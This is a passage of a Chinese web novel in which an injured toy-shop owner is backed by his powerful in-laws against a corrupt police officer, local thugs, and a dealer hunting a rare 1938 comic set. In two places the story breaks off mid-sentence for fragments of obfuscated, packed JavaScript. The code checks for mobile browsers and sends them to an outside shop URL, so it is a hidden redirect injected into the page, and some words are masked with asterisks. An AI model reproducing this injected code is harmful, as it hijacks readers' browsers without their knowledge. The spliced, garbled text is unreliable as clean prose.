可在苏家这样的大家族面前,他总觉得自己像个局外人,配不上晚晴,也给苏家添了不少麻烦。 “我们到县城后,没敢耽误,直接去了派出所。” 苏瑾瑜的嘴角勾起一抹冷笑,眼神里带着几分不屑,“当时周建军还在办公室里喝茶,看到我们进去,还想装模作样地问‘你们是谁,来派出所干什么’。 我让赵律师把调查函给他看,他看到上面盖着**部和军部的公章,脸一下子就白了—— 1994年能拿到这种特殊调查权限的,整个华北地区都没几家,他心里清楚,我们不是好惹的。” 这种特殊调查函是苏家通过苏老太爷苏定方的关系拿到的,苏定方是退休的国家七大**,虽然已经86岁了,但在政界和军界的影响力依然很大。 **部是苏瑾瑜的大姑苏振英任职的地方,军部则是苏振邦和苏瑾华所在的系统,有了这两个部门的公章,调查函的分量可想而知。 “可周建军还想狡辩,说你是‘例行询问时突发低血糖,晕倒在了审讯室里’,还说‘已经让护士给你处理过了’。” 苏瑾瑜的语气里满是嘲讽,“结果王猛当场就把你额头伤口的照片拿了出来—— 那是他昨天在巷口找到你外套的时候,用相机拍的,照片里能清楚地看到你额头的伤口在渗血,还有地上的血迹。 张教授也说,你额头上的伤口是钝器击打造成的,后脑勺还有撞击痕迹,明显是外力撞击导致的脑震荡,根本不是什么‘低血糖晕倒’。 周建军被说得哑口无言,脸一阵白一阵红的。” 就在这时,县**局的张局长也赶了过来。 张局长是李厅长亲自打电话叮嘱的,知道林凡背后有苏家撑腰,不敢怠慢, 一到派出所就先去审讯室看了林凡的情况,看到林凡脸色苍白地躺在地上,额头还在渗血, 当即就火了,对着周建军骂了一句“你胆大包天”,当场就宣布把周建军停职, 还让**把林凡抬上救护车,送到县医院来。 “送到医院后,张教授又给你做了详细检查, 确认是脑震荡,没有颅内出血,我们才稍微放心了些。” 苏瑾瑜伸手摸了摸林凡的头发,动作很轻柔,像在安抚一个孩子, “我让护士给你换了药,又让厨房炖了小米粥, 然后就一直在病房里等你醒过来,没想到你睡了这么久。” 林凡看着苏瑾瑜眼底的疲惫,心里五味杂陈,想说句“谢谢”,可话到嘴边,却怎么也说不出口。 他知道,苏瑾瑜这趟来,根本不是“走流程”那么简单,而是带着雷霆手段来的—— 从联系李厅长,到带律师和私人医生,再到动用苏家的关系拿到特殊调查函, 每一步都安排得滴水不漏,就是为了让周建军和黑皮付出代价。 苏瑾瑜似乎看出了他的心思,拍了拍他的手背,语气坚定地说: “你不用觉得愧疚,你是晚晴的丈夫,是笑笑的爸爸,就是我们苏家的人。 有人敢欺负我们苏家的人,不管他是谁,不管他背后有什么靠山,我都不会让他好过。 黑皮那伙人,还有周建军,以及他背后包庇他的人,我都会一一查清楚,给你一个交代。” 就在这时,苏瑾瑜放在床头柜上的大哥大突然响了起来,刺耳的铃声打破了病房的安静。 他拿起大哥大,看了一眼来电显示,眼神瞬间变得凝重起来, 起身走到窗边,背对着林凡接起电话,声音压得很低: “喂?……什么?……监控录像有问题?…… 好,我知道了,你们先别声张,我马上过去看看。” 挂了电话,苏瑾瑜转身看向林凡,脸上带着几分歉意: “我这边有点急事,需要去处理一下, 护士一会儿会把小米粥送过来,你先喝点,好好休息,别胡思乱想。 我处理完事情就回来。” 他顿了顿,又补充道, “对了,晚晴那边我还没告诉她你受伤的事, 她最近身体刚刚好点,我怕她担心,等你情况稳定了,再跟她说。” 林凡点了点头,看着苏瑾瑜快步走出病房,黑色的大衣下摆在空中划过一道弧线。 他心里隐隐觉得不对劲, 苏瑾瑜刚才接电话时的表情太凝重了,所谓的“监控录像有问题”, 到底是什么问题?是录像带损坏了,还是录像里拍到了什么不该拍的人? 病房里又恢复了安静,输液管“嘀嗒”的声音格外清晰。 林凡躺在床上,后脑勺的昏沉感还在,可心里却充满了疑惑。 他想起苏瑾瑜刚才说的话,想起周建军背后可能存在的“靠山”, 想起黑皮那伙人嚣张的样子,突然觉得,这次的事情,恐怕比他想象的还要复杂。 而那盘关键的监控录像, 又藏着什么秘密?苏瑾瑜去处理的“急事”,会不会遇到危险? 窗外的风又大了些,吹得窗户“哐当”响了一声。 林凡看着天花板上的蛛网,心里充满了不安, **,接下来还会发生什么,也不知道苏瑾瑜能不能顺利解决这件事。 而远在上海养病的晚晴,如果知道了他受伤的消息,又会是什么反应? 一连串的疑问在他脑海里盘旋,让他原本就昏沉的头,更疼了。 第106章:风暴后的余波 94年12月的小县城,医院老楼的走廊里飘着浓得化不开的消毒水味,墙皮在寒风里簌簌掉渣。 林凡住的单人病房外,两个穿黑色夹克的男人背靠着墙站着,袖口露出半截对讲机天线,指节粗大的手里攥着保温杯—— 那是苏家集团的安保,连县医院的院长路过都要放慢脚步,更别提想往里探头的病患家属。 这两天,除了苏瑾瑜和医护人员,连县领导来探望都得被助理拦在走廊,拿着登记簿一笔一划确认身份,活像在给重要人物做政审。 林凡靠在床头,望着窗外光秃秃的白杨树,耳尖总捕捉着走廊里的动静。 他肋骨处的淤青还在疼,那是前天被黑皮的人按在地上时撞的。 昨天傍晚,他听见两个保镖低声交谈,说要“盯着县局那边的动静,别让无关人等靠近”,心里像被什么东西堵着—— 他从来不是需要被这样“保护”的人,至少以前不是。 早上八点刚过,走廊里传来一阵急促的脚步声,还夹杂着轻微的喘息。 林凡抬眼,就看见县局的张局长提着个印着“国营果品厂”的水果篮走进来。 张局长穿了件深蓝色中山装,领口的扣子扣得严严实实,头发梳得锃亮,连一丝白头发都没露出来,可刚进门,腰就不自觉地弯下去,像棵被雪压垮的芦苇。 他手里的水果篮没敢往床头柜上放,就那么拎着,指节都泛了白。 “林先生,实在对不住,是我们工作失误,让您受委屈了!” 张局长的声音带着颤,额角的汗顺着鬓角往下流,在中山装的领子上洇出一小片湿痕, “周建军那小子已经被停职了,纪委今天一早就去查他的账, 您放心,不管他背后有谁,我们都一定给您一个满意的答复!” 林凡看着他这副模样,心里五味杂陈。 1994年的县城,派出所**和地方混混勾结根本不是新鲜事。 他记得上个月,邻街开杂货店的老陈,就因为不肯每月给周建军“好处费”—— 其实就是保护费,每月五十块,相当于老陈三天的营收—— 被周建军诬陷“卖假货”,把店里的酱油、醋都搬回了派出所,还把老陈关了三天。 老陈的媳妇带着孩子来求情,在派出所门口冻了整整一下午, 直到老陈托人送了两条红塔山,才被放出来。 这样的事,在县城里不算少。 1994年,全国个体工商户数量已经突破1500万,但在小地方,商户们大多得看基层执法人员的脸色。 林凡之前跟王猛聊过,他们认识的十个商户里,有三个都被收过“好处费”, 有两个被故意刁难错过进货时间,还有一个因为没给所长“拜年”,营业执照年检拖了三个月。 可现在,张局长这副低声下气的样子, 不是因为突然“懂法”了,也不是因为“知错了”,而是因为苏瑾瑜来了, 因为苏家的名头。 林凡想起去年刚开童装店的时候时,为了找个合适的铺面,他跑了五趟工商局。 第一次去,负责登记的李科员说“材料不齐”,可林凡明明按清单带了所有东西; 第二次去,李科员说“盖章的领导不在”,让他下周再来; 第三次去,李科员直接说“这个地段不让开玩具店”,可隔壁明明刚开了家五金店。 直到第五次,林凡带了笑笑一起去,笑笑拿着个塑料小熊递给李科员,奶声奶气地说“叔叔好”,李科员才松了口,当天就办好了手续。 还有去年冬天,为了进一批进口玩具—— 其实就是从广州那边进来的塑料变形金刚,当时县城里还很少见—— 他跟供货商磨了半个月。供货商一开始说“量少不送货”,林凡说自己去拉; 供货商又说“价格不能少”,林凡算了算,要是按那个价格卖, 几乎没利润,可他还是咬着牙订了货,因为笑笑说“爸爸,别的小朋友都没有这个”。 那段时间,他每天关店后都去市场里的小吃摊买个馒头, 就着开水当晚饭,就为了能多攒点钱进新货。 那些靠自己一点点打拼的日子,像老照片一样在脑子里过。 现在,一场无妄之灾,却要靠苏家的力量解决,这种落差,像根细刺扎在心里,不疼,但硌得慌。 “张局长,” 林凡的声音很轻,却带着股认真劲儿, “我受伤的事,就算了。 我只希望以后县城的商户,不用再怕黑皮这样的混混,也不用怕不办事的**。 大家开店,是想好好过日子,不是来受气的。” 张局长赶紧点头,头点得像小鸡啄米,手里的水果篮都跟着晃: “一定一定!林先生您放心,我们已经在全县开展扫黑行动了, 黑皮和他的同伙,昨天晚上就全部抓了! 一共抓了八个,都是经常在县城里**的,现在都关在看守所里,等着审呢!” 他顿了顿,又补充道, “我们还打算在各个市场设举报箱, 要是有**刁难商户,商户们可以匿名举报,我们一定严查!” 林凡没再多说,只是点了点头。 张局长又说了几句客气话,才小心翼翼地退出去, 走的时候还特意轻轻带上门,生怕弄出一点声响。 张局长走后没十分钟,病房门就被推开了。 苏瑾瑜提着个保温桶走进来,身上穿了件深灰色的羊绒大衣,领口别着枚银色的钢笔—— 那是苏家集团的标志,只有高层管理人员才会戴。他把保温桶放在床头柜上,动作很轻,然后打开桶盖,一股小米粥的香味飘了出来。 “刚让你家隔壁的阿姨熬的小米粥,加了点红枣,你伤还没好,吃点软的。” 苏瑾瑜说着,把粥倒在一个白瓷碗里,又从袋子里拿出一碟酱菜,是林凡之前在苏家吃过的那种,用玻璃瓶腌的,脆生生的。 他还带了个煮鸡蛋,剥了壳,放在小碟子里。 “刚接到律师的电话,黑皮他们被抓后,招了不少事。” 苏瑾瑜一边摆碗筷,一边说,语气很平静,像在说一件很平常的事, “1992年他就因为敲诈勒索被判过刑,判了两年,去年刚出来。 这次出来后,一直跟着一个叫‘钱老西’的人混。 钱老西在县城开了家古籍店,叫‘翰墨斋’,其实主要是倒腾旧书、连环画,有时候也弄点文物。 他这次找你麻烦,是想抢你手里的连环画渠道。” 林凡握着瓷碗的手顿了一下。 小米粥温温的,顺着喉咙滑下去,可他心里却突然一凉。 他想起上个月, 确实那个穿长袍的老男人来店里,自称“钱老西”,说想以低价收他手里的民国连环画。 当时林凡手里有一套1938年版的《三毛流浪记》, 是他去年从燕京的旧书市场淘来的,一共四本, 品相很好,当时花了两百块——相当于他当时半个月的营收。 钱老西说“给你三百块,把这四本让给我”,还说 “你一个下岗职工,在县城不好混,跟我合作,以后没人敢找你麻烦”。 林凡当时觉得不对劲,就没答应,说“这是我给笑笑留的,不卖”。 现在想来,黑皮找他麻烦,根本就是钱老西指使的。 “钱老西为什么要抢我的连环画渠道?” 林凡问。 他开玩具店的同时,也顺带卖些旧连环画,因为县城里喜欢连环画的孩子多,而且旧连环画成本低,利润还不错。 他的渠道主要是让人从申城、天津的旧书市场淘的, 有时候也会从私人手里收,量不算大, 但很稳定,每个月能赚个两百多块,相当于多了一笔零花钱。 “因为你断了他的财路。” 苏瑾瑜坐在床边的椅子上,给自己倒了杯温水—— 他不喜欢喝饮料,总是带个保温杯装温水, “钱老西之前垄断了县城周边三个镇的连环画渠道,他收来的旧书,能卖到原价的三倍。 比如一本1950年的《西游记》,他收的时候十块,卖给孩子家长能卖到三十块。 你来了之后,卖的连环画价格公道, 而且品相好,很多家长都来你这儿买,他的生意少了一半。” 苏瑾瑜顿了顿,又说: “我的人昨天去找过他,就在他的‘翰墨斋’里。 钱老西一开始还嘴硬,说‘我没找过林凡的麻烦’, 直到我的人说‘我是苏家集团的,苏瑾瑜让我来的’,他当场就慌了,手里的茶杯都摔了。 他说愿意把手里所有的古籍渠道和**都转给你,还愿意赔你玩具店的损失—— 他算了算,你店里被砸的货架、被踩坏的玩具,一共赔你两千块。” 林凡看着碗里的小米粥,突然没了胃口。他想起自己开“笑笑宝贝屋”的初衷。 1993年,笑笑三岁,正是喜欢玩玩具的年纪。 当时县城里只有两家卖玩具的,一家在百货大楼里, 卖的都是塑料小汽车、布娃娃,样式很旧;另一家是地摊,卖的玩具质量差,没几天就坏了。 这家店,就像他的另一个孩子。 现在,一场无妄之灾,却要靠苏家的力量才能解决。 他心里感激苏瑾瑜,感激苏家,可也憋屈—— 他想靠自己的本事站稳脚跟,而不是靠“苏家女婿”这个身份。 “瑾瑜,”林凡放下碗,瓷碗和床头柜碰撞,发出一声轻响,“我不想以后都靠苏家。” 苏瑾瑜愣了一下,手里的水杯停在半空。 他看着林凡,眼底的冷意慢慢散去—— 之前提到钱老西、黑皮的时候,他眼里带着点商人的锐利和上位者的冷硬—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762867|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >现在,多了几分欣赏。 他放下水杯,身体微微前倾,看着林凡的眼睛: “我懂你的意思。 靠山山会倒,靠人不如靠自己,你想靠自己的本事在县城立足,不想活在苏家的阴影里, 对吗?” 林凡点了点头,心里像放下了一块石头。 他以为苏瑾瑜会不理解,甚至会觉得他“不知好歹”—— 毕竟苏家有能力帮他解决所有麻烦。 可苏瑾瑜的反应,却出乎他的意料。 “其实,我刚接手苏家集团的时候,也跟你想的一样。” 苏瑾瑜突然说起了自己的事,语气很平和,像在说别人的故事,“那是1988年,我刚从大学毕业,爷爷让我进集团工作。 当时苏家集团主要做建材生意,年营收大概4800万,在华北也算有点名气。 爷爷没让我直接当管理层,而是让我从底层的业务员做起,跑建材市场。” 林凡没说话,静静听着。 他之前只知道苏瑾瑜是苏家集团的董事长, 很年轻,却把集团做得很大,没想到苏瑾瑜也从底层做过。 “那时候,我每天早上六点就起床,坐公交车去各个建材市场,跟经销商谈合作。 有一次,为了跟一个建筑公司的采购经理谈合作,我连续跑了十趟。 第一次去,他说‘没空’;第二次去,他说‘你们的价格太高’; 第三次去,他直接说‘我不跟年轻人合作’。 直到第十次,我带着我们公司的建材样品, 还有一份详细的报价单,在他办公室门口等了三个小时,他才愿意跟我聊。 最后,我们谈成了合作,那个项目,让集团多赚了两百万。” 苏瑾瑜笑了笑,继续说: “爷爷当时跟我说,‘苏家的孩子,不能只靠祖辈的荣光,要自己闯出来。 苏家的招牌,是用来保护家人的,不是用来让家人炫耀的’。 1990年,我开始负责集团的家电零售业务,当时华北的家电市场竞争很激烈,我们没有优势。 我带着团队跑了二十多个城市,调研市场,最后决定做‘农村包围城市’的策略,先从县城、乡镇做起,把家电卖到农村去。 两年时间, 我们在华北开了五十多家家电门店,集团的年营收从4800万涨到了1.5亿,翻了三倍还多。” 林凡听得很认真。 他没想到,苏瑾瑜这样的“富二代”,也经历过这么多打拼。 他突然觉得,自己之前的想法,不是“不知好歹”,而是跟苏瑾瑜有一样的追求。 “所以,我懂你的想法。” 苏瑾瑜的语气郑重起来,他看着林凡,眼神很真诚, “苏家是你的后盾,不是你的拐杖。 这次的事,是特殊情况—— 黑皮不仅找你麻烦,还威胁笑笑,甚至动用关系构陷你,这已经触碰了苏家的底线。 笑笑是苏家的重孙,你是苏家的女婿,我不可能坐视不管。 但以后,你的战场在商场,在服装店的生意上,只要是在规则之内,我不会插手。” 他顿了顿,伸手拍了拍林凡的肩膀,力度很适中,带着点鼓励: “我希望你能靠自己的本事,把‘笑笑宝贝屋’开遍华北,让更多孩子能买到喜欢的玩具。 到时候,别人提起你,会说‘这是林凡,是开玩具店的老板,做得很成功’,而不是‘这是苏家的女婿’。 至于苏家,是在你被人用‘规则之外的手段’欺负时,能给你撑腰的力量。 你明白吗?” 林凡的眼眶突然一热。 他之前一直以为,苏家的帮助是“施舍”,是因为他娶了苏晚晴,所以苏家才帮他。 可现在他才明白, 苏瑾瑜早就想让他自己闯,早就把他当成了“自己人”,而不是需要依附苏家的“外人”。 半年前苏瑾瑜来县城找到林凡和笑笑的时候,苏瑾瑜给了他一个传呼机—— 当时传呼机还是稀罕物,一部要两千多块—— 说“有困难就给我打电话”,可他从来没打过。 苏瑾瑜也没主动问过他生意怎么样, 没给过他一分钱,现在想来,那不是“不管”,而是在给他机会,让他自己成长。 “我明白。” 林凡的声音有点哑,却很坚定。 他看着苏瑾瑜,心里的感激和憋屈都慢慢散去,只剩下一股劲—— 他要把服装店做好,靠自己的本事,让笑笑骄傲,也让苏家放心。 苏瑾瑜笑了,拿起保温桶: “明白就好。粥快凉了,赶紧喝了。 下午我让律师过来,跟你说一下钱老西赔偿的事,还有渠道转让的事,你看看怎么处理合适。” 林凡点了点头,拿起碗,重新喝起小米粥。 这次,小米粥的香味好像更浓了,暖乎乎的,从喉咙一直暖到心里。 第107章: 未解开的谜团 下午,赵律师来了 律师姓赵,戴着副金丝眼镜,穿着笔挺的西装, 手里提着个黑色的公文包,一看就是经常处理大事的人。 赵律师先是跟林凡说了黑皮的情况—— 黑皮和他的同伙一共八个人,除了敲诈勒索、 寻衅滋事,还招出了之前参与过两次**,现在已经被移交检察院,估计要判三年以上。 然后,赵律师拿出一份协议,是钱老西签的赔偿协议。 协议上写着,钱老西自愿赔偿林凡服装店的损失两千块, 另外,将他手里所有的连环画渠道和**全部转让给林凡, 包括他在燕京、天津、石家庄的三个旧书商联系方式, 还有县城周边三个镇的二十多个固定**。 “林先生,钱老西还说,要是您愿意,他可以把‘翰墨斋’也转让给您,价格很优惠,只要五万块。” 赵律师推了推眼镜,补充道, “不过苏总建议您不要要, 因为‘翰墨斋’之前涉及过倒卖文物的嫌疑,虽然没被查到实据,但怕以后有麻烦。” 林凡拿起协议,仔细看了看。两千块的赔偿,相当于他两个月的净利润,不算少。 渠道和**也很有用,这样他以后进连环画就不用再跑那么远了。 至于“翰墨斋”,他确实不想要,他只想好好开笑笑宝贝屋,不想掺和古籍生意,更不想惹麻烦。 “赔偿和渠道转让,我都同意。” 林凡放下协议,对赵律师说,“不过‘翰墨斋’我不要,让钱老西自己处理吧。” 赵律师点了点头,拿出笔: “那我跟钱老西那边联系, 让他尽快把赔偿款打过来,渠道的联系方式和**,他说明天就能给您。” 赵律师走后,王猛来了。 王猛提着个布袋子,里面装着店里的账本和一些没被砸坏的童装和玩具。 他一进门就问:“凡子,你怎么样? 伤口还疼不疼? 店里我已经收拾好了,货架重新钉了,玩具也清点了,损失跟钱老西赔的差不多。” 王猛比林凡大一岁,之前跟林凡在同一个电子厂上班,后来林凡辞职开玩具店,王猛也辞了职,来帮林凡。 两个人是好兄弟,一起打拼,一起吃苦,感情很好。 “我没事,过两天就能出院了。” 林凡笑着说,“钱老西那边愿意赔偿,还把渠道转让给我们,以后进连环画就方便了。” 王猛一听,高兴得拍了下手: “真的?那太好了! 之前我们进连环画,跑一趟省城和广东得花4天时间,还得扛着箱子挤火车,以后不用那么麻烦了!” 他顿了顿,又有点担心地说, “不过钱老西这人,会不会耍什么花样?我之前听说过他,在县城里名声不好,挺阴险的。” 林凡也皱了皱眉。 他也觉得钱老西这么痛快就答应,有点不对劲。 钱老西是个商人,而且是个爱占小便宜的商人,怎么会这么轻易就把自己的渠道和客户让出来? 还愿意赔偿两千块?这里面,会不会有什么猫腻? “苏瑾瑜的人盯着他呢,应该不会有太大问题。” 林凡安慰王猛,也安慰自己, “明天他把渠道和**送来,我们先核实一下,要是有问题,再跟苏瑾瑜说。” 王猛点了点头,从布袋子里拿出一个毛绒兔子——就是被黑皮踩脏的那个。 兔子的耳朵有点歪,身上还沾着点灰,不过已经洗干净了。 “这个兔子,笑笑一直问起,我昨天洗了,晾干了,你先拿着,等回燕京了给笑笑。” 林凡接过兔子,心里暖暖的。 兔子的**软软的,虽然有点旧了,但笑笑肯定很喜欢。 他想起笑笑抱着兔子睡觉的样子,嘴角不自觉地扬了起来。 “对了,凡子,”王猛突然想起一件事, “昨天我收拾店里的时候,发现你放在抽屉里的那套《三毛流浪记》不见了。 就是你从燕京淘来的那套,你说很珍贵的那个。” 林凡心里一紧。 那套《三毛流浪记》是1938年版的,一共四本,品相很好,是他的宝贝。 他一直放在店里的抽屉里,锁着的,怎么会不见了? “你确定找过了?” 林凡问,声音有点急。 “确定!我把抽屉都翻遍了,货架上、箱子里也找了,都没找到。” 王猛说,“会不会是黑皮他们来**的时候,被拿走了?” 林凡皱起眉。 黑皮他们来的时候,砸了货架,踩坏了玩具,会不会顺手把那套连环画拿走了? 可黑皮是个混混,应该不懂连环画的价值,他拿那套书干什么?还是说,是钱老西让他拿的? “我知道了,我明天问问钱老西。” 林凡说。他心里有点不安,那套连环画不仅珍贵,还是他给笑笑留的,他不想就这么丢了。 傍晚的时候,苏瑾瑜又来了。 他带来了苏晚晴的消息,说小姑带着苏晚晴从上海回北京了 带着笑笑在燕京的四合院里,笑笑很想爸爸,每天都问“爸爸什么时候回来”。 “晚晴让我跟你说,别担心家里,好好养伤,她过两天就带着笑笑来看你。” 苏瑾瑜说, “对了,钱老西那边,我的人跟我说,他今天下午去了趟看守所,见了黑皮。 具体说什么,没听清,但估计没什么好事。” 林凡心里的不安更重了。 钱老西见黑皮,是为了什么?是为了那套《三毛流浪记》吗?还是有其他的阴谋? “瑾瑜,我店里的一套连环画不见了,是1938年版的《三毛流浪记》,可能是被黑皮拿走了。” 林凡说。 苏瑾瑜皱了皱眉:“那套书很珍贵,钱老西肯定知道它的价值。 他之前找你要那套书,你没给,说不定是他让黑皮拿走的。 我让我的人去查一下,看看是不是在钱老西手里。 ” 林凡点了点头。他现在只能指望苏瑾瑜的人能查到那套书的下落。 晚上,林凡躺在床上,翻来覆去睡不着。 他想起白天苏瑾瑜说的话,想起自己的玩具店,想起笑笑,也想起那套不见的连环画。 他总觉得,钱老西不会就这么轻易认输,这次的事,可能还没结束。 就在他快要睡着的时候,病房门突然被轻轻敲了三下。 林凡睁开眼,问:“谁?” 门外传来一个低沉的声音:“林先生,我是苏总的人,有件事要跟您说。” 林凡坐起来,开灯: “进来吧。” 一个穿黑色夹克的男人走进来,正是白天守在走廊里的保镖之一。 他手里拿着一张纸条,递给林凡: “林先生,这是刚才在看守所门口拍到的,钱老西跟一个男人见面,这个男人跟‘四爷’有关系。” 林凡接过纸条,上面是一张照片,有点模糊, 但能看清钱老西和一个穿中山装的***在看守所门口,正在低声交谈。 照片下面还有一行字:“‘四爷’是燕京的古董商,涉嫌倒卖文物,跟钱老西有生意往来。” 林凡心里一沉。 “四爷”?燕京的古董商? 钱老西跟这样的人有关系,那他之前想抢自己的连环画渠道,会不会不只是为了生意? 还有那套不见的《三毛流浪记》,会不会跟“四爷”有关? 保镖又说: “苏总让我跟您说,让您多注意安全, 明天钱老西送渠道和**的时候,他会让两个人跟着您,以防万一。” 林凡点了点头,把纸条递给保镖:“知道了,谢谢你。” 保镖走后,林凡重新躺下,却再也睡不着了。 窗外的月光透过窗户照进来,在地上投下一片白。 他看着天花板,心里充满了疑问:钱老西和“四爷”到底是什么关系? 他们想要那套《三毛流浪记》干什么? 还有,黑皮招出来的事,会不会牵扯到更多人? 他突然觉得,这场看似简单的“**”,背后可能藏着更大的阴谋。 而他,好像已经不小心卷入了这场阴谋里。 第二天早上,钱老西果然来了。 他穿着件灰色的长袍,手里提着个布包,脸上带着谄媚的笑,一进病房就说: “林先生,您身体好些了吗? 我把渠道的联系方式和**带来了,还有赔偿款,我取的现金,您点点。” 钱老西说着,从布包里拿出一沓现金—— 都是十块、五块的,一共两千块,还有一个笔记本,上面写着密密麻麻的名字和电话。 他把现金和笔记本递给林凡,态度恭敬得不像之前那个嚣张的“翰墨斋”老板。 林凡没接现金,也没接笔记本,而是看着钱老西,问: “钱老板,我店里有一套1938年版的《三毛流浪记》,不见了,是不是在你手里?” 钱老西的笑容僵了一下,眼神有点闪烁,然后赶紧说: “林先生,您说的那套书,我没见过啊! 是不是被黑皮他们拿走了?我昨天问过黑皮,他说没拿您的书。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762868|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡盯着钱老西的眼睛,钱老西的眼神一直在躲闪,不敢跟他对视。 林凡心里清楚,钱老西在撒谎。 “钱老板,我劝你说实话。” 林凡的声音冷了下来, “那套书对我很重要,要是你拿了,现在还给我,我可以不追究。 要是你不还,后果你应该知道。” 钱老西的脸色变了变,他知道林凡背后有苏家,要是真惹恼了苏家,他在县城就待不下去了。 他犹豫了一下,然后叹了口气,说:“林先生,不瞒您说,那套书确实在我手里。 是黑皮拿给我的,他说您店里有套珍贵的连环画,让我帮他收着。 我也是一时糊涂,就收下了。” “书呢?”林凡问,语气很直接。 “书在我店里的保险柜里,我今天没带来。” 钱老西说,“我下午就给您送过来,您放心,书一点都没损坏。” 林凡点了点头: “好,我等你送过来。要是你敢耍花样,我不会客气。” 钱老西赶紧点头:“不敢不敢,我下午一定给您送过来。” 钱老西走后,苏瑾瑜派来的两个保镖也来了。 他们跟林凡说,会一直跟着他,直到他出院。 下午,钱老西果然把那套《三毛流浪记》送来了。 四本书用牛皮纸包着,林凡打开一看,品相完好,没有损坏。 他松了口气,把书收了起来。 钱老西走后,王猛来了。 他看着那套连环画,高兴地说:“太好了,找到了!这下笑笑肯定开心了!” 林凡笑了笑,心里却还是有点不安。 钱老西虽然把书还了回来,但他跟“四爷”的关系, 还有他和黑皮的勾结,总让林凡觉得事情没那么简单。 傍晚的时候,苏瑾瑜打来电话,说他的人查到了一些关于“四爷”的消息。 “四爷”真名叫李四明,是燕京有名的古董商, 开了家古董店,叫“聚宝阁”,表面上卖古董,暗地里倒卖文物,跟很多地方的混混都有联系。 钱老西的“翰墨斋”,其实就是“四爷”的下线,帮“四爷”收一些珍贵的古籍、文物。 “我怀疑,钱老西找你麻烦,不只是为了连环画渠道, 可能是‘四爷’让他找你要那套《三毛流浪记》。” 苏瑾瑜在电话里说,“那套书可能不只是普通的连环画,说不定里面有什么秘密。 你好好看看那套书,有没有什么特别的地方。” 林凡挂了电话,赶紧拿出那套《三毛流浪记》。 他一本一本仔细看,封面、内页、封底,都没发现什么特别的地方。 书的纸张已经泛黄,上面的字迹和图画都很清晰,跟普通的旧连环画没什么区别。 就在他快要放弃的时候,他翻到第四本的最后一页,发现页脚有一个很小的符号—— 像是一个三角形,里面画着一个圆圈。 这个符号很小,不仔细看根本发现不了。 林凡心里一动。 这个符号是什么意思? 是印刷的时候不小心印上去的,还是有人后来画上去的?跟“四爷”有没有关系? 他把书收好,决定等出院后,带着书去燕京找懂行的人看看。 他觉得,这个小小的符号,可能就是解开谜团的关键。 晚上,苏晚晴打来电话,说她明天就带着笑笑来县城看他。 笑笑在电话里奶声奶气地说:“爸爸,我想你了,我给你画了画,明天带给你。” 林凡听着笑笑的声音,心里暖暖的。 但是,林凡让他们别来,现在这个是非之地,不想让家人们参与进来 不管有什么谜团,不管有什么阴谋,只要和家人参在一起,他就心里忐忑。 可**的是,在他住院的这几天里, 燕京的“聚宝阁”里,李四明正拿着一张照片,照片上是林凡和那套《三毛流浪记》。 他看着照片,嘴角露出一丝冷笑,对身边的人说: “没想到,那套书竟然在这个小子手里。看来,我们得亲自去一趟县城了。” 而在县城的看守所里,黑皮正跟一个狱警低声交谈, 狱警递给黑皮一张纸条,黑皮看完后,把纸条咽了下去,眼神里充满了阴狠。 一场更大的风暴,正在慢慢向林凡靠近。 而林凡,还不知道自己已经成了别人的目标。 他只知道,他要好好养伤,然后重新服装店和玩具店开起来,靠自己的本事,在县城站稳脚跟。 只是,**,这条靠自己打拼的路,会比他想象的更难,更危险。 第108章:破碎的店铺与未来的路 1995年元月11日的县城,铅灰色天空压得很低,薄雪像碎棉絮似的飘了三天,把柏油路盖得发脆,自行车碾过雪地时,“咯吱”声能传半条街。 林凡坐在桑塔纳副驾上,脑门上的纱布刚拆,残留的刺痛还在太阳穴跳—— 三天前被黑皮的人按在墙角打的场景,偶尔还会冒出来: 冰冷的墙皮蹭着脸颊,对方的皮鞋碾过他的手背,还有“欠债还钱”的吼声,混着笑笑宝贝屋玻璃破碎的脆响。 苏瑾瑜握着方向盘,黑色桑塔纳在雪地里压出两道深辙,车窗外掠过挂着“国营百货”招牌的老楼,他突然开口: “先不回燕京,带你去个地方。” 林凡的心猛地一沉,他知道要去的是哪里。 桑塔纳停在玩具店门口时,引擎的轰鸣声刚停,林凡就听见了风卷着雪粒打在破玻璃上的声音。 卷帘门被撬得变了形,锈迹斑斑的铁皮歪歪扭扭挂在门框上,像条断了的胳膊。 玻璃门的碎片散在雪地里,阳光透过碎渣子反射出冷光,他蹲下去捡时,指尖被划了道小口子,血珠滴在雪上,很快就冻住了。 推开门的瞬间,一股混杂着红漆、尘土和塑料的味道扑过来—— 那是“欠债还钱”四个字的味道, 红漆还没干透,在白色墙面上洇出深色的印子,像块没结痂的伤疤。 三个货架倒在地上,最左边那个原本摆着变形金刚的货架,如今横在碎玻璃里。 林凡认得那只断了胳膊的擎天柱,是1994年秋天进的货,当时市里的玩具批发商说这是最新款, 他咬牙进了十个,笑笑每天都要把它摆在最显眼的位置,说“爸爸,这个机器人能保护我们”。 现在擎天柱的头掉在雪地里,蓝色的油漆被蹭掉一块,露出里面的铁皮。 旁边的芭比娃娃更惨,金发被扯得乱七八糟,粉色的裙子撕成了布条,有个娃娃的脸被踩得凹陷下去,原本画着红嘴唇的地方,沾着黑泥。 最让他心疼的是那个毛绒兔子。 它躺在货架旁边,白色的绒毛沾了黑泥和碎玻璃,两只长耳朵被踩扁,其中一只还破了个洞,露出里面的棉絮。 